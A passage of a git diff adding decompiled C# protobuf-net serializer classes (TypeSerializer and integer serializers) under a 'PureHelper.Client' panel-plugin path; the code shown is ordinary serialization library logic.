parameterType = parameters[i].ParameterType; + Type itemType = null; + Type defaultType = null; + MetaType.ResolveListTypes(model, parameterType, ref itemType, ref defaultType); + Type type = (((object)itemType == null) ? parameterType : itemType); + bool asReference = false; + int num = model.FindOrAddAuto(type, demand: false, addWithContractOnly: true, addEvenIfAutoDisabled: false); + if (num >= 0) + { + asReference = model[type].AsReferenceDefault; + } + IProtoSerializer protoSerializer = ValueMember.TryGetCoreSerializer(model, DataFormat.Default, type, out var defaultWireType, asReference, dynamicType: false, overwriteList: false, allowComplexTypes: true); + if (protoSerializer == null) + { + throw new InvalidOperationException("No serializer defined for type: " + type.FullName); + } + protoSerializer = new TagDecorator(i + 1, defaultWireType, strict: false, protoSerializer); + IProtoSerializer protoSerializer2 = (((object)itemType != null) ? ((!parameterType.IsArray) ? ((ProtoDecoratorBase)ListDecorator.Create(model, parameterType, defaultType, protoSerializer, i + 1, writePacked: false, defaultWireType, returnList: true, overwriteList: false, supportNull: false)) : ((ProtoDecoratorBase)new ArrayDecorator(model, protoSerializer, i + 1, writePacked: false, defaultWireType, parameterType, overwriteList: false, supportNull: false))) : protoSerializer); + tails[i] = protoSerializer2; + } + } + + public bool HasCallbacks(TypeModel.CallbackType callbackType) + { + return false; + } + + public void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + } + + void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + } + + object IProtoTypeSerializer.CreateInstance(ProtoReader source) + { + throw new NotSupportedException(); + } + + private object GetValue(object obj, int index) + { + if (members[index] is PropertyInfo propertyInfo) + { + if (obj == null) + { + if (!Helpers.IsValueType(propertyInfo.PropertyType)) + { + return null; + } + return Activator.CreateInstance(propertyInfo.PropertyType); + } + return propertyInfo.GetValue(obj, null); + } + if (members[index] is FieldInfo fieldInfo) + { + if (obj == null) + { + if (!Helpers.IsValueType(fieldInfo.FieldType)) + { + return null; + } + return Activator.CreateInstance(fieldInfo.FieldType); + } + return fieldInfo.GetValue(obj); + } + throw new InvalidOperationException(); + } + + public object Read(object value, ProtoReader source) + { + object[] array = new object[members.Length]; + bool flag = false; + if (value == null) + { + flag = true; + } + for (int i = 0; i < array.Length; i++) + { + array[i] = GetValue(value, i); + } + int num; + while ((num = source.ReadFieldHeader()) > 0) + { + flag = true; + if (num <= tails.Length) + { + IProtoSerializer protoSerializer = tails[num - 1]; + array[num - 1] = tails[num - 1].Read(protoSerializer.RequiresOldValue ? array[num - 1] : null, source); + } + else + { + source.SkipField(); + } + } + if (!flag) + { + return value; + } + return ctor.Invoke(array); + } + + public void Write(object value, ProtoWriter dest) + { + for (int i = 0; i < tails.Length; i++) + { + object value2 = GetValue(value, i); + if (value2 != null) + { + tails[i].Write(value2, dest); + } + } + } + + private Type GetMemberType(int index) + { + Type memberType = Helpers.GetMemberType(members[index]); + if ((object)memberType == null) + { + throw new InvalidOperationException(); + } + return memberType; + } + + bool IProtoTypeSerializer.CanCreateInstance() + { + return false; + } + + public void EmitWrite(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(ctor.DeclaringType, valueFrom); + for (int i = 0; i < tails.Length; i++) + { + Type memberType = GetMemberType(i); + ctx.LoadAddress(local, ExpectedType); + if (members[i] is FieldInfo) + { + ctx.LoadValue((FieldInfo)members[i]); + } + else if (members[i] is PropertyInfo) + { + ctx.LoadValue((PropertyInfo)members[i]); + } + ctx.WriteNullCheckedTail(memberType, tails[i], null); + } + } + + void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx) + { + throw new NotSupportedException(); + } + + public void EmitRead(CompilerContext ctx, Local incoming) + { + using Local local = ctx.GetLocalWithValue(ExpectedType, incoming); + Local[] array = new Local[members.Length]; + try + { + for (int i = 0; i < array.Length; i++) + { + Type memberType = GetMemberType(i); + bool flag = true; + array[i] = new Local(ctx, memberType); + if (Helpers.IsValueType(ExpectedType)) + { + continue; + } + if (Helpers.IsValueType(memberType)) + { + switch (Helpers.GetTypeCode(memberType)) + { + case ProtoTypeCode.Boolean: + case ProtoTypeCode.SByte: + case ProtoTypeCode.Byte: + case ProtoTypeCode.Int16: + case ProtoTypeCode.UInt16: + case ProtoTypeCode.Int32: + case ProtoTypeCode.UInt32: + ctx.LoadValue(0); + break; + case ProtoTypeCode.Int64: + case ProtoTypeCode.UInt64: + ctx.LoadValue(0L); + break; + case ProtoTypeCode.Single: + ctx.LoadValue(0f); + break; + case ProtoTypeCode.Double: + ctx.LoadValue(0.0); + break; + case ProtoTypeCode.Decimal: + ctx.LoadValue(0m); + break; + case ProtoTypeCode.Guid: + ctx.LoadValue(Guid.Empty); + break; + default: + ctx.LoadAddress(array[i], memberType); + ctx.EmitCtor(memberType); + flag = false; + break; + } + } + else + { + ctx.LoadNullRef(); + } + if (flag) + { + ctx.StoreValue(array[i]); + } + } + CodeLabel label = (Helpers.IsValueType(ExpectedType) ? default(CodeLabel) : ctx.DefineLabel()); + if (!Helpers.IsValueType(ExpectedType)) + { + ctx.LoadAddress(local, ExpectedType); + ctx.BranchIfFalse(label, @short: false); + } + for (int j = 0; j < members.Length; j++) + { + ctx.LoadAddress(local, ExpectedType); + if (members[j] is FieldInfo) + { + ctx.LoadValue((FieldInfo)members[j]); + } + else if (members[j] is PropertyInfo) + { + ctx.LoadValue((PropertyInfo)members[j]); + } + ctx.StoreValue(array[j]); + } + if (!Helpers.IsValueType(ExpectedType)) + { + ctx.MarkLabel(label); + } + using (Local local2 = new Local(ctx, ctx.MapType(typeof(int)))) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + CodeLabel label4 = ctx.DefineLabel(); + ctx.Branch(label2, @short: false); + CodeLabel[] array2 = new CodeLabel[members.Length]; + for (int k = 0; k < members.Length; k++) + { + array2[k] = ctx.DefineLabel(); + } + ctx.MarkLabel(label3); + ctx.LoadValue(local2); + ctx.LoadValue(1); + ctx.Subtract(); + ctx.Switch(array2); + ctx.Branch(label4, @short: false); + for (int l = 0; l < array2.Length; l++) + { + ctx.MarkLabel(array2[l]); + IProtoSerializer protoSerializer = tails[l]; + Local valueFrom = (protoSerializer.RequiresOldValue ? array[l] : null); + ctx.ReadNullCheckedTail(array[l].Type, protoSerializer, valueFrom); + if (protoSerializer.ReturnsValue) + { + if (Helpers.IsValueType(array[l].Type)) + { + ctx.StoreValue(array[l]); + } + else + { + CodeLabel label5 = ctx.DefineLabel(); + CodeLabel label6 = ctx.DefineLabel(); + ctx.CopyValue(); + ctx.BranchIfTrue(label5, @short: true); + ctx.DiscardValue(); + ctx.Branch(label6, @short: true); + ctx.MarkLabel(label5); + ctx.StoreValue(array[l]); + ctx.MarkLabel(label6); + } + } + ctx.Branch(label2, @short: false); + } + ctx.MarkLabel(label4); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); + ctx.MarkLabel(label2); + ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); + ctx.CopyValue(); + ctx.StoreValue(local2); + ctx.LoadValue(0); + ctx.BranchIfGreater(label3, @short: false); + } + for (int m = 0; m < array.Length; m++) + { + ctx.LoadValue(array[m]); + } + ctx.EmitCtor(ctor); + ctx.StoreValue(local); + } + finally + { + for (int n = 0; n < array.Length; n++) + { + if (array[n] != null) + { + array[n].Dispose(); + } + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TypeSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TypeSerializer.cs new file mode 100644 index 0000000..0f7cf7e --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TypeSerializer.cs @@ -0,0 +1,747 @@ +using System; +using System.Reflection; +using System.Runtime.Serialization; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class TypeSerializer : IProtoTypeSerializer, IProtoSerializer +{ + private readonly Type forType; + + private readonly Type constructType; + + private readonly IProtoSerializer[] serializers; + + private readonly int[] fieldNumbers; + + private readonly bool isRootType; + + private readonly bool useConstructor; + + private readonly bool isExtensible; + + private readonly bool hasConstructor; + + private readonly CallbackSet callbacks; + + private readonly MethodInfo[] baseCtorCallbacks; + + private readonly MethodInfo factory; + + private static readonly Type iextensible = typeof(IExtensible); + + public Type ExpectedType => forType; + + private bool CanHaveInheritance + { + get + { + if (forType.IsClass || forType.IsInterface) + { + return !forType.IsSealed; + } + return false; + } + } + + bool IProtoSerializer.RequiresOldValue => true; + + bool IProtoSerializer.ReturnsValue => false; + + public bool HasCallbacks(TypeModel.CallbackType callbackType) + { + if (callbacks != null && (object)callbacks[callbackType] != null) + { + return true; + } + for (int i = 0; i < serializers.Length; i++) + { + if ((object)serializers[i].ExpectedType != forType && ((IProtoTypeSerializer)serializers[i]).HasCallbacks(callbackType)) + { + return true; + } + } + return false; + } + + public TypeSerializer(TypeModel model, Type forType, int[] fieldNumbers, IProtoSerializer[] serializers, MethodInfo[] baseCtorCallbacks, bool isRootType, bool useConstructor, CallbackSet callbacks, Type constructType, MethodInfo factory) + { + Helpers.Sort(fieldNumbers, serializers); + bool flag = false; + for (int i = 0; i < fieldNumbers.Length; i++) + { + if (i != 0 && fieldNumbers[i] == fieldNumbers[i - 1]) + { + throw new InvalidOperationException("Duplicate field-number detected; " + fieldNumbers[i] + " on: " + forType.FullName); + } + if (!flag && (object)serializers[i].ExpectedType != forType) + { + flag = true; + } + } + this.forType = forType; + this.factory = factory; + if ((object)constructType == null) + { + constructType = forType; + } + else if (!forType.IsAssignableFrom(constructType)) + { + throw new InvalidOperationException(forType.FullName + " cannot be assigned from " + constructType.FullName); + } + this.constructType = constructType; + this.serializers = serializers; + this.fieldNumbers = fieldNumbers; + this.callbacks = callbacks; + this.isRootType = isRootType; + this.useConstructor = useConstructor; + if (baseCtorCallbacks != null && baseCtorCallbacks.Length == 0) + { + baseCtorCallbacks = null; + } + this.baseCtorCallbacks = baseCtorCallbacks; + if ((object)Helpers.GetUnderlyingType(forType) != null) + { + throw new ArgumentException("Cannot create a TypeSerializer for nullable types", "forType"); + } + if (model.MapType(iextensible).IsAssignableFrom(forType)) + { + if (forType.IsValueType || !isRootType || flag) + { + throw new NotSupportedException("IExtensible is not supported in structs or classes with inheritance"); + } + isExtensible = true; + } + hasConstructor = !constructType.IsAbstract && (object)Helpers.GetConstructor(constructType, Helpers.EmptyTypes, nonPublic: true) != null; + if ((object)constructType != forType && useConstructor && !hasConstructor) + { + throw new ArgumentException("The supplied default implementation cannot be created: " + constructType.FullName, "constructType"); + } + } + + bool IProtoTypeSerializer.CanCreateInstance() + { + return true; + } + + object IProtoTypeSerializer.CreateInstance(ProtoReader source) + { + return CreateInstance(source, includeLocalCallback: false); + } + + public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + if (callbacks != null) + { + InvokeCallback(callbacks[callbackType], value, context); + } + ((IProtoTypeSerializer)GetMoreSpecificSerializer(value))?.Callback(value, callbackType, context); + } + + private IProtoSerializer GetMoreSpecificSerializer(object value) + { + if (!CanHaveInheritance) + { + return null; + } + Type type = value.GetType(); + if ((object)type == forType) + { + return null; + } + for (int i = 0; i < serializers.Length; i++) + { + IProtoSerializer protoSerializer = serializers[i]; + if ((object)protoSerializer.ExpectedType != forType && Helpers.IsAssignableFrom(protoSerializer.ExpectedType, type)) + { + return protoSerializer; + } + } + if ((object)type == constructType) + { + return null; + } + TypeModel.ThrowUnexpectedSubtype(forType, type); + return null; + } + + public void Write(object value, ProtoWriter dest) + { + if (isRootType) + { + Callback(value, TypeModel.CallbackType.BeforeSerialize, dest.Context); + } + GetMoreSpecificSerializer(value)?.Write(value, dest); + for (int i = 0; i < serializers.Length; i++) + { + IProtoSerializer protoSerializer = serializers[i]; + if ((object)protoSerializer.ExpectedType == forType) + { + protoSerializer.Write(value, dest); + } + } + if (isExtensible) + { + ProtoWriter.AppendExtensionData((IExtensible)value, dest); + } + if (isRootType) + { + Callback(value, TypeModel.CallbackType.AfterSerialize, dest.Context); + } + } + + public object Read(object value, ProtoReader source) + { + if (isRootType && value != null) + { + Callback(value, TypeModel.CallbackType.BeforeDeserialize, source.Context); + } + int num = 0; + int num2 = 0; + int num3; + while ((num3 = source.ReadFieldHeader()) > 0) + { + bool flag = false; + if (num3 < num) + { + num = (num2 = 0); + } + for (int i = num2; i < fieldNumbers.Length; i++) + { + if (fieldNumbers[i] != num3) + { + continue; + } + IProtoSerializer protoSerializer = serializers[i]; + Type expectedType = protoSerializer.ExpectedType; + if (value == null) + { + if ((object)expectedType == forType) + { + value = CreateInstance(source, includeLocalCallback: true); + } + } + else if ((object)expectedType != forType && ((IProtoTypeSerializer)protoSerializer).CanCreateInstance() && expectedType.IsSubclassOf(value.GetType())) + { + value = ProtoReader.Merge(source, value, ((IProtoTypeSerializer)protoSerializer).CreateInstance(source)); + } + if (protoSerializer.ReturnsValue) + { + value = protoSerializer.Read(value, source); + } + else + { + protoSerializer.Read(value, source); + } + num2 = i; + num = num3; + flag = true; + break; + } + if (!flag) + { + if (value == null) + { + value = CreateInstance(source, includeLocalCallback: true); + } + if (isExtensible) + { + source.AppendExtensionData((IExtensible)value); + } + else + { + source.SkipField(); + } + } + } + if (value == null) + { + value = CreateInstance(source, includeLocalCallback: true); + } + if (isRootType) + { + Callback(value, TypeModel.CallbackType.AfterDeserialize, source.Context); + } + return value; + } + + private object InvokeCallback(MethodInfo method, object obj, SerializationContext context) + { + object result = null; + if ((object)method != null) + { + ParameterInfo[] parameters = method.GetParameters(); + object[] array; + bool flag; + if (parameters.Length == 0) + { + array = null; + flag = true; + } + else + { + array = new object[parameters.Length]; + flag = true; + for (int i = 0; i < array.Length; i++) + { + Type parameterType = parameters[i].ParameterType; + object obj2; + if ((object)parameterType == typeof(SerializationContext)) + { + obj2 = context; + } + else if ((object)parameterType == typeof(Type)) + { + obj2 = constructType; + } + else if ((object)parameterType == typeof(StreamingContext)) + { + obj2 = (StreamingContext)context; + } + else + { + obj2 = null; + flag = false; + } + array[i] = obj2; + } + } + if (!flag) + { + throw CallbackSet.CreateInvalidCallbackSignature(method); + } + result = method.Invoke(obj, array); + } + return result; + } + + private object CreateInstance(ProtoReader source, bool includeLocalCallback) + { + object obj; + if ((object)factory != null) + { + obj = InvokeCallback(factory, null, source.Context); + } + else if (useConstructor) + { + if (!hasConstructor) + { + TypeModel.ThrowCannotCreateInstance(constructType); + } + obj = Activator.CreateInstance(constructType, nonPublic: true); + } + else + { + obj = BclHelpers.GetUninitializedObject(constructType); + } + ProtoReader.NoteObject(obj, source); + if (baseCtorCallbacks != null) + { + for (int i = 0; i < baseCtorCallbacks.Length; i++) + { + InvokeCallback(baseCtorCallbacks[i], obj, source.Context); + } + } + if (includeLocalCallback && callbacks != null) + { + InvokeCallback(callbacks.BeforeDeserialize, obj, source.Context); + } + return obj; + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + Type expectedType = ExpectedType; + using Local local = ctx.GetLocalWithValue(expectedType, valueFrom); + EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeSerialize); + CodeLabel label = ctx.DefineLabel(); + if (CanHaveInheritance) + { + for (int i = 0; i < serializers.Length; i++) + { + IProtoSerializer protoSerializer = serializers[i]; + Type expectedType2 = protoSerializer.ExpectedType; + if ((object)expectedType2 != forType) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.LoadValue(local); + ctx.TryCast(expectedType2); + ctx.CopyValue(); + ctx.BranchIfTrue(label2, @short: true); + ctx.DiscardValue(); + ctx.Branch(label3, @short: true); + ctx.MarkLabel(label2); + if (Helpers.IsValueType(expectedType2)) + { + ctx.DiscardValue(); + ctx.LoadValue(local); + ctx.CastFromObject(expectedType2); + } + protoSerializer.EmitWrite(ctx, null); + ctx.Branch(label, @short: false); + ctx.MarkLabel(label3); + } + } + if ((object)constructType != null && (object)constructType != forType) + { + using Local local2 = new Local(ctx, ctx.MapType(typeof(Type))); + ctx.LoadValue(local); + ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); + ctx.CopyValue(); + ctx.StoreValue(local2); + ctx.LoadValue(forType); + ctx.BranchIfEqual(label, @short: true); + ctx.LoadValue(local2); + ctx.LoadValue(constructType); + ctx.BranchIfEqual(label, @short: true); + } + else + { + ctx.LoadValue(local); + ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); + ctx.LoadValue(forType); + ctx.BranchIfEqual(label, @short: true); + } + ctx.LoadValue(forType); + ctx.LoadValue(local); + ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); + ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowUnexpectedSubtype", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); + } + ctx.MarkLabel(label); + for (int j = 0; j < serializers.Length; j++) + { + IProtoSerializer protoSerializer2 = serializers[j]; + if ((object)protoSerializer2.ExpectedType == forType) + { + protoSerializer2.EmitWrite(ctx, local); + } + } + if (isExtensible) + { + ctx.LoadValue(local); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("AppendExtensionData")); + } + EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.AfterSerialize); + } + + private static void EmitInvokeCallback(CompilerContext ctx, MethodInfo method, bool copyValue, Type constructType, Type type) + { + if ((object)method == null) + { + return; + } + if (copyValue) + { + ctx.CopyValue(); + } + ParameterInfo[] parameters = method.GetParameters(); + bool flag = true; + for (int i = 0; i < parameters.Length; i++) + { + Type parameterType = parameters[i].ParameterType; + if ((object)parameterType == ctx.MapType(typeof(SerializationContext))) + { + ctx.LoadSerializationContext(); + } + else if ((object)parameterType == ctx.MapType(typeof(Type))) + { + Type type2 = constructType; + if ((object)type2 == null) + { + type2 = type; + } + ctx.LoadValue(type2); + } + else if ((object)parameterType == ctx.MapType(typeof(StreamingContext))) + { + ctx.LoadSerializationContext(); + MethodInfo method2 = ctx.MapType(typeof(SerializationContext)).GetMethod("op_Implicit", new Type[1] { ctx.MapType(typeof(SerializationContext)) }); + if ((object)method2 != null) + { + ctx.EmitCall(method2); + flag = true; + } + } + else + { + flag = false; + } + } + if (flag) + { + ctx.EmitCall(method); + if ((object)constructType != null && (object)method.ReturnType == ctx.MapType(typeof(object))) + { + ctx.CastFromObject(type); + } + return; + } + throw CallbackSet.CreateInvalidCallbackSignature(method); + } + + private void EmitCallbackIfNeeded(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + if (isRootType && ((IProtoTypeSerializer)this).HasCallbacks(callbackType)) + { + ((IProtoTypeSerializer)this).EmitCallback(ctx, valueFrom, callbackType); + } + } + + void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + bool flag = false; + if (CanHaveInheritance) + { + for (int i = 0; i < serializers.Length; i++) + { + IProtoSerializer protoSerializer = serializers[i]; + if ((object)protoSerializer.ExpectedType != forType && ((IProtoTypeSerializer)protoSerializer).HasCallbacks(callbackType)) + { + flag = true; + } + } + } + MethodInfo methodInfo = callbacks?[callbackType]; + if ((object)methodInfo == null && !flag) + { + return; + } + ctx.LoadAddress(valueFrom, ExpectedType); + EmitInvokeCallback(ctx, methodInfo, flag, null, forType); + if (!flag) + { + return; + } + CodeLabel label = ctx.DefineLabel(); + for (int j = 0; j < serializers.Length; j++) + { + IProtoSerializer protoSerializer2 = serializers[j]; + Type expectedType = protoSerializer2.ExpectedType; + IProtoTypeSerializer protoTypeSerializer; + if ((object)expectedType != forType && (protoTypeSerializer = (IProtoTypeSerializer)protoSerializer2).HasCallbacks(callbackType)) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.CopyValue(); + ctx.TryCast(expectedType); + ctx.CopyValue(); + ctx.BranchIfTrue(label2, @short: true); + ctx.DiscardValue(); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(label2); + protoTypeSerializer.EmitCallback(ctx, null, callbackType); + ctx.Branch(label, @short: false); + ctx.MarkLabel(label3); + } + } + ctx.MarkLabel(label); + ctx.DiscardValue(); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + Type expectedType = ExpectedType; + using Local local = ctx.GetLocalWithValue(expectedType, valueFrom); + using Local local2 = new Local(ctx, ctx.MapType(typeof(int))); + if (HasCallbacks(TypeModel.CallbackType.BeforeDeserialize)) + { + if (Helpers.IsValueType(ExpectedType)) + { + EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeDeserialize); + } + else + { + CodeLabel label = ctx.DefineLabel(); + ctx.LoadValue(local); + ctx.BranchIfFalse(label, @short: false); + EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.BeforeDeserialize); + ctx.MarkLabel(label); + } + } + CodeLabel codeLabel = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + ctx.Branch(codeLabel, @short: false); + ctx.MarkLabel(label2); + int[] keys = fieldNumbers; + object[] values = serializers; + BasicList.NodeEnumerator enumerator = BasicList.GetContiguousGroups(keys, values).GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicList.Group obj = (BasicList.Group)enumerator.Current; + CodeLabel label3 = ctx.DefineLabel(); + int count = obj.Items.Count; + if (count == 1) + { + ctx.LoadValue(local2); + ctx.LoadValue(obj.First); + CodeLabel codeLabel2 = ctx.DefineLabel(); + ctx.BranchIfEqual(codeLabel2, @short: true); + ctx.Branch(label3, @short: false); + WriteFieldHandler(ctx, expectedType, local, codeLabel2, codeLabel, (IProtoSerializer)obj.Items[0]); + } + else + { + ctx.LoadValue(local2); + ctx.LoadValue(obj.First); + ctx.Subtract(); + CodeLabel[] array = new CodeLabel[count]; + for (int i = 0; i < count; i++) + { + array[i] = ctx.DefineLabel(); + } + ctx.Switch(array); + ctx.Branch(label3, @short: false); + for (int j = 0; j < count; j++) + { + WriteFieldHandler(ctx, expectedType, local, array[j], codeLabel, (IProtoSerializer)obj.Items[j]); + } + } + ctx.MarkLabel(label3); + } + EmitCreateIfNull(ctx, local); + ctx.LoadReaderWriter(); + if (isExtensible) + { + ctx.LoadValue(local); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendExtensionData")); + } + else + { + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); + } + ctx.MarkLabel(codeLabel); + ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); + ctx.CopyValue(); + ctx.StoreValue(local2); + ctx.LoadValue(0); + ctx.BranchIfGreater(label2, @short: false); + EmitCreateIfNull(ctx, local); + EmitCallbackIfNeeded(ctx, local, TypeModel.CallbackType.AfterDeserialize); + if (valueFrom != null && !local.IsSame(valueFrom)) + { + ctx.LoadValue(local); + ctx.Cast(valueFrom.Type); + ctx.StoreValue(valueFrom); + } + } + + private void WriteFieldHandler(CompilerContext ctx, Type expected, Local loc, CodeLabel handler, CodeLabel @continue, IProtoSerializer serializer) + { + ctx.MarkLabel(handler); + Type expectedType = serializer.ExpectedType; + if ((object)expectedType == forType) + { + EmitCreateIfNull(ctx, loc); + serializer.EmitRead(ctx, loc); + } + else + { + if (((IProtoTypeSerializer)serializer).CanCreateInstance()) + { + CodeLabel label = ctx.DefineLabel(); + ctx.LoadValue(loc); + ctx.BranchIfFalse(label, @short: false); + ctx.LoadValue(loc); + ctx.TryCast(expectedType); + ctx.BranchIfTrue(label, @short: false); + ctx.LoadReaderWriter(); + ctx.LoadValue(loc); + ((IProtoTypeSerializer)serializer).EmitCreateInstance(ctx); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("Merge")); + ctx.Cast(expected); + ctx.StoreValue(loc); + ctx.MarkLabel(label); + } + if (Helpers.IsValueType(expectedType)) + { + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + using Local local = new Local(ctx, expectedType); + ctx.LoadValue(loc); + ctx.BranchIfFalse(label2, @short: false); + ctx.LoadValue(loc); + ctx.CastFromObject(expectedType); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(label2); + ctx.InitLocal(expectedType, local); + ctx.LoadValue(local); + ctx.MarkLabel(label3); + } + else + { + ctx.LoadValue(loc); + ctx.Cast(expectedType); + } + serializer.EmitRead(ctx, null); + } + if (serializer.ReturnsValue) + { + if (Helpers.IsValueType(expectedType)) + { + ctx.CastToObject(expectedType); + } + ctx.StoreValue(loc); + } + ctx.Branch(@continue, @short: false); + } + + void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx) + { + bool flag = true; + if ((object)factory != null) + { + EmitInvokeCallback(ctx, factory, copyValue: false, constructType, forType); + } + else if (!useConstructor) + { + ctx.LoadValue(constructType); + ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("GetUninitializedObject")); + ctx.Cast(forType); + } + else if (Helpers.IsClass(constructType) && hasConstructor) + { + ctx.EmitCtor(constructType); + } + else + { + ctx.LoadValue(ExpectedType); + ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowCannotCreateInstance", BindingFlags.Static | BindingFlags.Public)); + ctx.LoadNullRef(); + flag = false; + } + if (flag) + { + ctx.CopyValue(); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("NoteObject", BindingFlags.Static | BindingFlags.Public)); + } + if (baseCtorCallbacks != null) + { + for (int i = 0; i < baseCtorCallbacks.Length; i++) + { + EmitInvokeCallback(ctx, baseCtorCallbacks[i], copyValue: true, null, forType); + } + } + } + + private void EmitCreateIfNull(CompilerContext ctx, Local storage) + { + if (!Helpers.IsValueType(ExpectedType)) + { + CodeLabel label = ctx.DefineLabel(); + ctx.LoadValue(storage); + ctx.BranchIfTrue(label, @short: false); + ((IProtoTypeSerializer)this).EmitCreateInstance(ctx); + if (callbacks != null) + { + EmitInvokeCallback(ctx, callbacks.BeforeDeserialize, copyValue: true, null, forType); + } + ctx.StoreValue(storage); + ctx.MarkLabel(label); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt16Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt16Serializer.cs new file mode 100644 index 0000000..7855e82 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt16Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal class UInt16Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(ushort); + + public virtual Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public UInt16Serializer(TypeModel model) + { + } + + public virtual object Read(object value, ProtoReader source) + { + return source.ReadUInt16(); + } + + public virtual void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteUInt16((ushort)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteUInt16", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadUInt16", ctx.MapType(typeof(ushort))); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt32Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt32Serializer.cs new file mode 100644 index 0000000..d59aeda --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt32Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class UInt32Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(uint); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public UInt32Serializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadUInt32(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteUInt32((uint)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteUInt32", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadUInt32", ctx.MapType(typeof(uint))); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt64Serializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt64Serializer.cs new file mode 100644 index 0000000..d275596 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UInt64Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class UInt64Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(ulong); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public UInt64Serializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadUInt64(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteUInt64((ulong)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteUInt64", valueFrom); + } + + void 